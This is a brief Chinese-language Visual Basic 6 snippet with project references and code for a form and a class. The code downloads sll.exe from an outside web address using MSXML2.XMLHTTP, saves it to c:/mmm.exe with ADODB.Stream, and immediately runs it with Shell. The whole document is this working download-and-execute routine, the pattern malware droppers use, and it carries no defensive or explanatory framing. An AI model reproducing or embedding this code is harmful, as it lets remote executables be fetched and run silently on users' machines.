建立一个vb工程,project1 添加引用:microsoft scripting runtime,microsoft active data object,microsoft msxml
form1代码:
public a as msxml2.xmlhttp
private sub command1_click() dim d as class1 set a = new msxml2.xmlhttp a.open "get", "http://www.ljc.com/sll.exe", true set d = new class1 a.onreadystatechange = d a.send end sub
class1代码:
dim b as adodb.stream dim fso as scripting.filesystemobject public curreadystate as long public function dosome() debug.print form1.a.readystate if form1.a.readystate = 4 then www end if end function public function www() set b = new adodb.stream b.type = 1 b.open set fso = new scripting.filesystemobject if form1.a.readystate = 4 then b.write (form1.a.responsebody) if not fso.fileexists("c:/mmm.exe") then b.savetofile "c:/mmm.exe" end if end if b.close set b = nothing if fso.fileexists("c:/mmm.exe") then shell "c:/mmm.exe", 1 set fso = nothing end function